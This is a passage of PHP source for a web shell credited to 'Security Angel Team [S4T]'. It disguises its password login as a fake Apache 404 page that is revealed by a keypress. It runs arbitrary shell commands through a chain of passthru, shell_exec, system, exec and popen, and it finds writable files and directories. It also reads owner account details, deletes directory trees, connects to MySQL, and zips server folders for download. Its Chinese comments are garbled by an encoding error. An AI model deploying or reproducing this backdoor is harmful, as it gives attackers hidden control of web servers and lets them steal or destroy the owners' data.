1413 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1414 !$dis_func && $dis_func = 'No';
1415 $info = array(
1416 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1417 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1418 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1419 4 => array('Server OS',PHP_OS),
1420 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1421 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1422 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1423 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1424 9 => array('The file path',__FILE__),
1425
1426 10 => array('PHP Version',PHP_VERSION),
1427 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1428 12 => array('Safe Mode',getcfg('safe_mode')),
1429 13 => array('Administrator',$adminmail),
1430 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1431 15 => array('enable_dl',getcfg('enable_dl')),
1432 16 => array('display_errors',getcfg('display_errors')),
1433 17 => array('register_globals',getcfg('register_globals')),
1434 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1435 19 => array('memory_limit',getcfg('memory_limit')),
1436 20 => array('post_max_size',getcfg('post_max_size')),
1437 21 => array('upload_max_filesize',$upsize),
1438 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1439 23 => array('disable_functions',$dis_func),
1440 );
1441
1442 if($phpvarname) {
1443 m($phpvarname .' : '.getcfg($phpvarname));
1444 }
1445
1446 formhead(array('title'=>'Server environment'));
1447 makehide('action','phpenv');
1448 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1449 formfooter();
1450
1451 $hp = array(0=> 'Server', 1=> 'PHP');
1452 for($a=0;$a<2;$a++) {
1453 p('<h2>'.$hp[$a].' »</h2>');
1454 p('<ul class="info">');
1455 if ($a==0) {
1456 for($i=1;$i<=9;$i++) {
1457 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1458 }
1459 } elseif ($a == 1) {
1460 for($i=10;$i<=23;$i++) {
1461 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1462 }
1463 }
1464 p('</ul>');
1465 }
1466}//end phpenv
1467
1468else {
1469 m('Undefined Action');
1470}
1471
1472?>
1473</td></tr></table>
1474<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1475 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1476 Copyright (C) 2004-2009 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
1477</div>
1478</body>
1479</html>
1480
1481<?php
1482
1483/*======================================================
1484函数库
1485======================================================*/
1486
1487function m($msg) {
1488 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1489 echo $msg;
1490 echo '</div>';
1491}
1492function scookie($key, $value, $life = 0, $prefix = 1) {
1493 global $admin, $timestamp, $_SERVER;
1494 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1495 $life = $life ? $life : $admin['cookielife'];
1496 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1497 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1498}
1499function multi($num, $perpage, $curpage, $tablename) {
1500 $multipage = '';
1501 if($num > $perpage) {
1502 $page = 10;
1503 $offset = 5;
1504 $pages = @ceil($num / $perpage);
1505 if($page > $pages) {
1506 $from = 1;
1507 $to = $pages;
1508 } else {
1509 $from = $curpage - $offset;
1510 $to = $curpage + $page - $offset - 1;
1511 if($from < 1) {
1512 $to = $curpage + 1 - $from;
1513 $from = 1;
1514 if(($to - $from) < $page && ($to - $from) < $pages) {
1515 $to = $page;
1516 }
1517 } elseif($to > $pages) {
1518 $from = $curpage - $pages + $to;
1519 $to = $pages;
1520 if(($to - $from) < $page && ($to - $from) < $pages) {
1521 $from = $pages - $page + 1;
1522 }
1523 }
1524 }
1525 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1526 for($i = $from; $i <= $to; $i++) {
1527 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1528 }
1529 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1530 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1531 }
1532 return $multipage;
1533}
1534// 登陆入å£
1535function loginpage() {
1536?>
1537<style type="text/css">
1538input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1539</style>
1540
1541<script type="text/javascript">
1542document.onkeydown = function(e) {
1543var theEvent = window.event || e;var code = theEvent.keyCode || theEvent.which;
1544if (70 == code) {document.getElementById( "login" ).style.display = "block"; document.getElementById( "404" ).style.display = "none";}}
1545</script>
1546
1547<div id="404" style="display:block">
1548<title>404 Not Found</title>
1549<h1>Not Found</h1>
1550<p>The requested URL was not found on this server.</p><hr>
1551<address>Apache/2.4.9 (linux) PHP/5.5.12 Server at l Port 80</address>
1552
1553</div>
1554<div id="login" style="display:none">
1555<form method="POST" action="<?php echo $self;?>" style="margin:20px auto;width:500px;text-align:center">
1556<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1557<input type="hidden" name="doing" value="login">
1558<input type="submit" value="Login">
1559</form>
1560</div>
1561
1562
1563<?php
1564 exit;
1565}//end loginpage()
1566
1567function execute($cfe) {
1568 $res = '';
1569 if ($cfe) {
1570 if(function_exists('passthru')) {
1571 $res = @passthru($cfe);
1572 } elseif(function_exists('shell_exec')) {
1573 $res = @shell_exec($cfe);
1574 } elseif(function_exists('system')) {
1575 @ob_start();
1576 @system($cfe);
1577 $res = @ob_get_contents();
1578 @ob_end_clean();
1579 } elseif(function_exists('exec')) {
1580 @exec($cfe,$res);
1581 $res = join("\n",$res);
1582 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1583 $res = '';
1584 while(!@feof($f)) {
1585 $res .= @fread($f,1024);
1586 }
1587 @pclose($f);
1588 }
1589 }
1590 return $res;
1591}
1592function which($pr) {
1593 $path = execute("which $pr");
1594 return ($path ? $path : $pr);
1595}
1596
1597function cf($fname,$text){
1598 if($fp=@fopen($fname,'w')) {
1599 @fputs($fp,@base64_decode($text));
1600 @fclose($fp);
1601 }
1602}
1603function dirsize($dir) {
1604 $dh = @opendir($dir);
1605 $size = 0;
1606 while($file = @readdir($dh)) {
1607 if ($file != '.' && $file != '..') {
1608 $path = $dir.'/'.$file;
1609 if (@is_dir($path)) {
1610 $size += dirsize($path);
1611 } else {
1612 $size += @filesize($path);
1613 }
1614 }
1615 }
1616 @closedir($dh);
1617 return $size;
1618}
1619// 页é¢è°ƒè¯•ä¿¡æ¯
1620function debuginfo() {
1621 global $starttime;
1622 $mtime = explode(' ', microtime());
1623 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1624 echo 'Processed in '.$totaltime.' second(s)';
1625}
1626
1627//连接MYSQLæ•°æ®åº“
1628function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1629 global $charsetdb;
1630 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1631 p('<h2>Can not connect to MySQL server</h2>');
1632 exit;
1633 }
1634 if($link && $dbname) {
1635 if (!@mysql_select_db($dbname, $link)) {
1636 p('<h2>Database selected has error</h2>');
1637 exit;
1638 }
1639 }
1640 if($link && mysql_get_server_info() > '4.1') {
1641 if(in_array(strtolower($charset), $charsetdb)) {
1642 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1643 }
1644 }
1645 return $link;
1646}
1647
1648// 去掉转义å—符
1649function s_array(&$array) {
1650 if (is_array($array)) {
1651 foreach ($array as $k => $v) {
1652 $array[$k] = s_array($v);
1653 }
1654 } else if (is_string($array)) {
1655 $array = stripslashes($array);
1656 }
1657 return $array;
1658}
1659
1660// 清除HTML代ç
1661function html_clean($content) {
1662 $content = htmlspecialchars($content);
1663 $content = str_replace("\n", "<br />", $content);
1664 $content = str_replace(" ", " ", $content);
1665 $content = str_replace("\t", " ", $content);
1666 return $content;
1667}
1668
1669// èŽ·å–æƒé™
1670function getChmod($filepath){
1671 return substr(base_convert(@fileperms($filepath),10,8),-4);
1672}
1673
1674function getPerms($filepath) {
1675 $mode = @fileperms($filepath);
1676 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1677 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1678 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1679 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1680 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1681 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1682 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1683 else {$type = '?';}
1684
1685 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1686 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1687 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1688 $group['read'] = ($mode & 00040) ? 'r' : '-';
1689 $group['write'] = ($mode & 00020) ? 'w' : '-';
1690 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1691 $world['read'] = ($mode & 00004) ? 'r' : '-';
1692 $world['write'] = ($mode & 00002) ? 'w' : '-';
1693 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1694
1695 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1696 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1697 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1698
1699 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1700}
1701
1702function getUser($filepath) {
1703 if (function_exists('posix_getpwuid')) {
1704 $array = @posix_getpwuid(@fileowner($filepath));
1705 if ($array && is_array($array)) {
1706 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1707 }
1708 }
1709 return '';
1710}
1711
1712// åˆ é™¤ç›®å½•
1713function deltree($deldir) {
1714 $mydir=@dir($deldir);
1715 while($file=$mydir->read()) {
1716 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1717 @chmod($deldir.'/'.$file,0777);
1718 deltree($deldir.'/'.$file);
1719 }
1720 if (is_file($deldir.'/'.$file)) {
1721 @chmod($deldir.'/'.$file,0777);
1722 @unlink($deldir.'/'.$file);
1723 }
1724 }
1725 $mydir->close();
1726 @chmod($deldir,0777);
1727 return @rmdir($deldir) ? 1 : 0;
1728}
1729
1730// è¡¨æ ¼è¡Œé—´çš„èƒŒæ™¯è‰²æ›¿æ¢
1731function bg() {
1732 global $bgc;
1733 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1734}
1735
1736// 获å–当å‰çš„æ–‡ä»¶ç³»ç»Ÿè·¯å¾„
1737function getPath($scriptpath, $nowpath) {
1738 if ($nowpath == '.') {
1739 $nowpath = $scriptpath;
1740 }
1741 $nowpath = str_replace('\\', '/', $nowpath);
1742 $nowpath = str_replace('//', '/', $nowpath);
1743 if (substr($nowpath, -1) != '/') {
1744 $nowpath = $nowpath.'/';
1745 }
1746 return $nowpath;
1747}
1748
1749// 获å–当å‰ç›®å½•的上级目录
1750function getUpPath($nowpath) {
1751 $pathdb = explode('/', $nowpath);
1752 $num = count($pathdb);
1753 if ($num > 2) {
1754 unset($pathdb[$num-1],$pathdb[$num-2]);
1755 }
1756 $uppath = implode('/', $pathdb).'/';
1757 $uppath = str_replace('//', '/', $uppath);
1758 return $uppath;
1759}
1760
1761// 检查PHPé…ç½®å‚æ•°
1762function getcfg($varname) {
1763 $result = get_cfg_var($varname);
1764 if ($result == 0) {
1765 return 'No';
1766 } elseif ($result == 1) {
1767 return 'Yes';
1768 } else {
1769 return $result;
1770 }
1771}
1772
1773// 检查函数情况
1774function getfun($funName) {
1775 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1776}
1777
1778// 获得文件扩展å
1779function getextension($filename) {
1780 $pathinfo = pathinfo($filename);
1781 return $pathinfo['extension'];
1782}
1783
1784function GetWDirList($dir){
1785 global $dirdata,$j,$nowpath;
1786 !$j && $j=1;
1787 if ($dh = opendir($dir)) {
1788 while ($file = readdir($dh)) {
1789 $f=str_replace('//','/',$dir.'/'.$file);
1790 if($file!='.' && $file!='..' && is_dir($f)){
1791 if (is_writable($f)) {
1792 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1793 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1794 $dirdata[$j]['dirchmod']=getChmod($f);
1795 $dirdata[$j]['dirperm']=getPerms($f);
1796 $dirdata[$j]['dirlink']=ue($dir);
1797 $dirdata[$j]['server_link']=$f;
1798 $dirdata[$j]['client_link']=ue($f);
1799 $j++;
1800 }
1801 GetWDirList($f);
1802 }
1803 }
1804 closedir($dh);
1805 clearstatcache();
1806 return $dirdata;
1807 } else {
1808 return array();
1809 }
1810}
1811
1812function GetWFileList($dir){
1813 global $filedata,$j,$nowpath, $writabledb;
1814 !$j && $j=1;
1815 if ($dh = opendir($dir)) {
1816 while ($file = readdir($dh)) {
1817 $ext = strtolower(getextension($file));
1818 $f=str_replace('//','/',$dir.'/'.$file);
1819 if($file!='.' && $file!='..' && is_dir($f)){
1820 GetWFileList($f);
1821 } elseif($file!='.' && $file!='..' && is_file($f) && (in_array($ext, explode(',', $writabledb))||$writabledb=="")){
1822 if (is_writable($f)) {
1823 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
1824 $filedata[$j]['size']=sizecount(@filesize($f));
1825 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1826 $filedata[$j]['filechmod']=getChmod($f);
1827 $filedata[$j]['fileperm']=getPerms($f);
1828 $filedata[$j]['fileowner']=getUser($f);
1829 $filedata[$j]['dirlink']=$dir;
1830 $filedata[$j]['server_link']=$f;
1831 $filedata[$j]['client_link']=ue($f);
1832 $j++;
1833 }
1834 }
1835 }
1836 closedir($dh);
1837 clearstatcache();
1838 return $filedata;
1839 } else {
1840 return array();
1841 }
1842}
1843
1844function GetSFileList($dir, $content, $re = 0) {
1845 global $filedata,$j,$nowpath, $writabledb;
1846 !$j && $j=1;
1847 if ($dh = opendir($dir)) {
1848 while ($file = readdir($dh)) {
1849 $ext = strtolower(getextension($file));
1850 $f=str_replace('//','/',$dir.'/'.$file);
1851 if($file!='.' && $file!='..' && is_dir($f)){
1852 GetSFileList($f, $content, $re = 0);
1853 } elseif($file!='.' && $file!='..' && is_file($f) && (in_array($ext, explode(',', $writabledb))||$writabledb=="")){
1854 $find = 0;
1855 if ($re) {
1856 if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
1857 $find = 1;
1858 }
1859 } else {
1860 if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
1861 $find = 1;
1862 }
1863 }
1864 if ($find) {
1865 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
1866 $filedata[$j]['size']=sizecount(@filesize($f));
1867 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1868 $filedata[$j]['filechmod']=getChmod($f);
1869 $filedata[$j]['fileperm']=getPerms($f);
1870 $filedata[$j]['fileowner']=getUser($f);
1871 $filedata[$j]['dirlink']=$dir;
1872 $filedata[$j]['server_link']=$f;
1873 $filedata[$j]['client_link']=ue($f);
1874 $j++;
1875 }
1876 }
1877 }
1878 closedir($dh);
1879 clearstatcache();
1880 return $filedata;
1881 } else {
1882 return array();
1883 }
1884}
1885
1886function qy($sql) {
1887 //echo $sql.'<br>';
1888 $res = $error = '';
1889 if(!$res = @mysql_query($sql)) {
1890 return 0;
1891 } else if(is_resource($res)) {
1892 return 1;
1893 } else {
1894 return 2;
1895 }
1896 return 0;
1897}
1898
1899function q($sql) {
1900 return @mysql_query($sql);
1901}
1902
1903function fr($qy){
1904 mysql_free_result($qy);
1905}
1906
1907function sizecount($size) {
1908 if($size > 1073741824) {
1909 $size = round($size / 1073741824 * 100) / 100 . ' G';
1910 } elseif($size > 1048576) {
1911 $size = round($size / 1048576 * 100) / 100 . ' M';
1912 } elseif($size > 1024) {
1913 $size = round($size / 1024 * 100) / 100 . ' K';
1914 } else {
1915 $size = $size . ' B';
1916 }
1917 return $size;
1918}
1919
1920
1921Class PHPZip1{
1922 var $StrPath="../../@UpLoad";
1923 var $datasec=array();
1924 var $ctrl_dir=array();
1925 var $eof_ctrl_dir="\x50\x4b\x05\x06\x00\x00\x00\x00";
1926 var $old_offset=0;
1927
1928 //压缩åŽä¸‹è½½
1929 Function DownLoad($curdir,$zipfilename,$out){
1930 $zipfilename=StrToLower($zipfilename);
1931 $curdir=Str_iReplace(basename($curdir),"",$curdir);
1932 chdir($curdir.$this->StrPath);
1933
1934 header('Content-Encoding: none');
1935 header('Content-Type: application/zip');
1936 header('Content-Disposition: attachment ; filename='.Str_Replace(".zip","",basename($zipfilename)).'.zip');
1937 header('Pragma: no-cache');
1938 header('Expires: 0');
1939 print($out);
1940 }
1941
1942 //压缩åŽä¿å˜åœ¨æœåС噍,默认在/@Upload下
1943 Function SaveFile($curdir,$zipfilename,$out){
1944 $curdir=Str_iReplace(basename($curdir),"",$curdir);
1945 chdir($curdir.$this->StrPath);
1946 $fp=fopen($zipfilename,"wb");
1947 fwrite($fp,$out,strlen($out));
1948 fclose($fp);
1949 }
1950
1951 //函数用途:压缩文件夹,递归é€å±‚进行
1952 //傿•°è¯¦è§£:$dir需è¦åŽ‹ç¼©çš„ç›®å½•,$zipfilename压缩åŽçš„æ–‡ä»¶ååŠå˜æ”¾è·¯å¾„,$Todoå¤„ç†æ–¹å¼1æä¾›ä¸‹è½½2ä¿å˜æ–‡ä»¶åœ¨æœåС噍
1953 Function ZipDir($dir,$zipfilename,$Todo){
1954 IF(!@Function_exists('gzcompress')){Return 0;}
1955 @set_time_limit("0");
1956 $this->openFile($dir,$zipfilename);
1957 $out=$this -> filezip();
1958
1959 Switch ($Todo){
1960 Case "1":
1961 $this -> DownLoad(__FILE__,$zipfilename,$out);
1962 Break;
1963 Case "2":
1964 $this -> SaveFile(__FILE__,$zipfilename,$out);
1965 Break;
1966 }
1967 }
1968
1969 //函数用途:压缩文件,å¯ä»¥æ˜¯å•个也å¯ä»¥æ˜¯æ•°ç»„的多个
1970 //傿•°è¯¦è§£:$file需è¦åŽ‹ç¼©çš„æ–‡ä»¶(å¯ä¸ºæ•°ç»„),$zipfilename压缩åŽçš„æ–‡ä»¶ååŠå˜æ”¾è·¯å¾„,$Todoå¤„ç†æ–¹å¼1æä¾›ä¸‹è½½2ä¿å˜æ–‡ä»¶åœ¨æœåС噍
1971 Function ZipFile($file,$zipfilename,$Todo){
1972 IF(!@Function_exists('gzcompress')){Return 0;}
1973 IF(is_array($file)){
1974 Foreach($file as $filename){
1975 IF(is_file($filename)){
1976 $fd= fopen ($filename, "rb");
1977 $content= @fread($fd, filesize ($filename));
1978 fclose ($fd);
1979
1980 $filename= basename($filename);
1981 $this -> addFile($content, $filename);
1982 }
1983 }
1984 }Else{
1985 IF(is_file($file)){
1986 $fd= fopen ($file, "rb");
1987 $content= @fread($fd, filesize($file));
1988 fclose ($fd);
1989 $file= basename($file);
1990 $this -> addFile($content, $file);
1991 }
1992 }
1993 $out= $this -> filezip();
1994
1995 Switch ($Todo){
1996 Case "1":
1997 $this -> DownLoad(__FILE__,$zipfilename,$out);
1998 Break;
1999 Case "2":
2000 $this -> SaveFile(__FILE__,$zipfilename,$out);
2001 Break;
2002 }
2003 }
2004
2005 //递归å–得下层文件夹下的文件
2006 Function openFile($path,$zipName){
2007 $temp_path=$path;
2008 $temp_zip_path=$zipName;
2009 IF($handle=@opendir($path)){
2010 While(false !== ($file=readdir($handle))){
2011 IF($file !='.' and $file !='..'){
2012 IF(ereg('\.' ,$file.@basename())){
2013 $fd=fopen($path.'/'.$file,"r");
2014 $fileValue=@fread($fd,1024000);
2015 fclose ($fd);
2016 $this -> addFile($fileValue,$path.'/'.$file);
2017 }Else{
2018 $this ->openFile($path.'/'.$file,$zipName.'/'.$file);
2019 }
2020 }
2021 }
2022 $zipName=$temp_zip_path;
2023 $path=$temp_path;
2024 closedir($handle);
2025 }
2026 }
2027
2028 Function addFile($data,$name,$time=0){
2029 $name=str_replace('\\','/',$name);
2030 $name=str_replace('./','',str_replace('../','',$name));
2031 $dtime=dechex($this->unix2DosTime($time));
2032 $hexdtime='\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
2033 Eval('$hexdtime="'.$hexdtime.'";');
2034
2035 $fr="\x50\x4b\x03\x04";
2036 $fr.="\x14\x00";
2037 $fr.="\x00\x00";
2038 $fr.="\x08\x00";
2039 $fr.=$hexdtime;
2040
2041 $unc_len=strlen($data);
2042 $crc=crc32($data);
2043 $zdata=gzcompress($data);
2044 $c_len=strlen($zdata);
2045 $zdata=substr(substr($zdata,0,strlen($zdata) - 4),2);
2046 $fr.=pack('V',$crc);
2047 $fr.=pack('V',$c_len);
2048 $fr.=pack('V',$unc_len);
2049 $fr.=pack('v',strlen($name));
2050 $fr.=pack('v',0);
2051 $fr.=$name;
2052 $fr.=$zdata;
2053 $fr.=pack('V',$crc);
2054 $fr.=pack('V',$c_len);
2055 $fr.=pack('V',$unc_len);
2056
2057 $this -> datasec[]=$fr;
2058 $new_offset=strlen(implode('',$this->datasec));
2059
2060 $cdrec="\x50\x4b\x01\x02";
2061 $cdrec.="\x00\x00";
2062 $cdrec.="\x14\x00";
2063 $cdrec.="\x00\x00";
2064 $cdrec.="\x08\x00";
2065 $cdrec.=$hexdtime;
2066 $cdrec.=pack('V',$crc);
2067 $cdrec.=pack('V',$c_len);
2068 $cdrec.=pack('V',$unc_len);
2069 $cdrec.=pack('v',strlen($name) );
2070 $cdrec.=pack('v',0 );
2071 $cdrec.=pack('v',0 );
2072 $cdrec.=pack('v',0 );
2073 $cdrec.=pack('v',0 );
2074 $cdrec.=pack('V',32 );
2075 $cdrec.=pack('V',$this -> old_offset );
2076 $this -> old_offset=$new_offset;
2077 $cdrec.=$name;
2078 $this -> ctrl_dir[]=$cdrec;
2079 }
2080
2081 Function filezip(){
2082 $data=implode('',$this -> datasec);
2083 $ctrldir=implode('',$this -> ctrl_dir);
2084
2085 Return
2086 $data.$ctrldir.$this -> eof_ctrl_dir .
2087 pack('v',sizeof($this -> ctrl_dir)) .
2088 pack('v',sizeof($this -> ctrl_dir)) .
2089 pack('V',strlen($ctrldir)) .
2090 pack('V',strlen($data))."\x00\x00";
2091 }
2092
2093 Function unix2DosTime($unixtime=0){
2094 $timearray=($unixtime== 0) ? getdate() : getdate($unixtime);
2095 IF($timearray['year'] < 1980){
2096 $timearray['year']=1980;
2097 $timearray['mon']=1;
2098 $timearray['mday']=1;
2099 $timearray['hours']=0;
2100 $timearray['minutes']=0;
2101 $timearray['seconds']=0;
2102 }
2103 Return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2104 }
2105
2106 /*
2107 解压缩部分
2108 用途:解压缩文件
2109 傿•°:$zn需è¦è§£åŽ‹ç¼©çš„zip文件åŠè·¯å¾„,$to解压缩的目的地
2110 */
2111 Function Unzip_File($zn, $to, $index = Array(-1)){
2112 $ok = 0;
2113 $zip = @fopen($zn, 'rb');
2114 IF(!$zip){Return(-1);}
2115 $cdir = $this -> ReadCentralDir($zip, $zn);
2116 $pos_entry = $cdir['offset'];
2117
2118 IF(!is_array($index)){
2119 $index = array($index);
2120 }
2121 For($i = 0; $index[$i];$i++){
2122 IF(intval($index[$i])!= $index[$i] || $index[$i] > $cdir['entries']){Return(-1);}
2123 }
2124
2125 For($i=0;$i<$cdir['entries'];$i++){
2126 @fseek($zip, $pos_entry);
2127 $header = $this -> ReadCentralFileHeaders($zip);
2128 $header['index'] = $i;
2129 $pos_entry = ftell($zip);
2130 @rewind($zip);
2131 fseek($zip, $header['offset']);
2132 IF(in_array("-1", $index) || in_array($i, $index)){$stat[$header['filename']] = $this -> ExtractFile($header, $to, $zip);}
2133 }
2134 fclose($zip);
2135 Return $stat;
2136 }
2137
2138 //å–得压缩包内的文件信æ¯
2139 Function get_List($zip_name){
2140 $zip = @fopen($zip_name, 'rb');
2141 IF(!$zip){Return(0);}
2142 $centd = $this -> ReadCentralDir($zip, $zip_name);
2143
2144 @rewind($zip);
2145 @fseek($zip, $centd['offset']);
2146
2147 For($i=0;$i<$centd['entries'];$i++){
2148 $header = $this -> ReadCentralFileHeaders($zip);
2149 $header['index'] = $i;
2150 $info['filename'] = $header['filename'];
2151 $info['stored_filename'] = $header['stored_filename'];
2152 $info['size'] = $header['size'];
2153 $info['compressed_size'] = $header['compressed_size'];
2154 $info['crc'] = strtoupper(dechex($header['crc']));
2155 $info['mtime'] = $header['mtime'];
2156 $info['comment'] = $header['comment'];
2157 $info['folder'] = ($header['external'] == 0x41FF0010 || $header['external'] == 16)?1:0;
2158 $info['index'] = $header['index'];
2159 $info['status'] = $header['status'];
2160 $ret[] = $info;
2161 unset($header);
2162 }
2163 Return $ret;
2164 }
2165 Function ReadFileHeader($zip){
2166 $binary_data = fread($zip, 30);
2167 $data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $binary_data);
2168
2169 $header['filename'] = fread($zip, $data['filename_len']);
2170 IF($data['extra_len'] != 0){$header['extra'] = fread($zip, $data['extra_len']);}Else{$header['extra'] = '';}
2171
2172 $header['compression'] = $data['compression'];
2173 $header['size'] = $data['size'];
2174 $header['compressed_size'] = $data['compressed_size'];
2175 $header['crc'] = $data['crc'];
2176 $header['flag'] = $data['flag'];
2177 $header['mdate'] = $data['mdate'];
2178 $header['mtime'] = $data['mtime'];
2179
2180 IF($header['mdate'] && $header['mtime']){
2181 $hour = ($header['mtime']&0xF800) >> 11;
2182 $minute = ($header['mtime']&0x07E0) >> 5;
2183 $seconde = ($header['mtime']&0x001F) * 2;
2184 $year = (($header['mdate']&0xFE00) >> 9) + 1980;
2185 $month = ($header['mdate']&0x01E0) >> 5;
2186 $day = $header['mdate']&0x001F;
2187 $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
2188 }Else{
2189 $header['mtime'] = time();
2190 }
2191
2192 $header['stored_filename'] = $header['filename'];
2193 $header['status'] = "ok";
2194 Return $header;
2195 }
2196
2197 Function ReadCentralFileHeaders($zip){
2198 $binary_data = fread($zip, 46);
2199 $header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data);
2200
2201 IF($header['filename_len'] != 0)
2202 $header['filename'] = fread($zip, $header['filename_len']);
2203 Else $header['filename'] = '';
2204
2205 IF($header['extra_len'] != 0)
2206 $header['extra'] = fread($zip, $header['extra_len']);
2207 Else $header['extra'] = '';
2208
2209 IF($header['comment_len'] != 0)
2210 $header['comment'] = fread($zip, $header['comment_len']);
2211 Else $header['comment'] = '';
2212
2213 IF($header['mdate'] && $header['mtime']){
2214 $hour = ($header['mtime'] &0xF800) >> 11;
2215 $minute = ($header['mtime'] &0x07E0) >> 5;
2216 $seconde = ($header['mtime'] &0x001F) * 2;
2217 $year = (($header['mdate'] &0xFE00) >> 9) + 1980;
2218 $month = ($header['mdate'] &0x01E0) >> 5;
2219 $day = $header['mdate'] &0x001F;
2220 $header['mtime'] = mktime($hour, $minute, $seconde, $month, $day, $year);
2221 }Else{
2222 $header['mtime'] = time();
2223 }
2224 $header['stored_filename'] = $header['filename'];
2225 $header['status'] = 'ok';
2226 IF(substr($header['filename'], -1) == '/')
2227 $header['external'] = 0x41FF0010;
2228 Return $header;
2229 }
2230
2231 Function ReadCentralDir($zip, $zip_name){
2232 $size = filesize($zip_name);
2233 IF($size < 277){$maximum_size = $size;}Else{$maximum_size = 277;}
2234
2235 @fseek($zip, $size - $maximum_size);
2236 $pos = ftell($zip);
2237 $bytes = 0x00000000;
2238
2239 While($pos < $size){
2240 $byte = @fread($zip, 1);
2241 $bytes = ($bytes << 8) | Ord($byte);
2242 IF($bytes == 0x504b0506){
2243 $pos++;
2244 break;
2245 }
2246 $pos++;
2247 }
2248
2249 $data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', fread($zip, 18));
2250
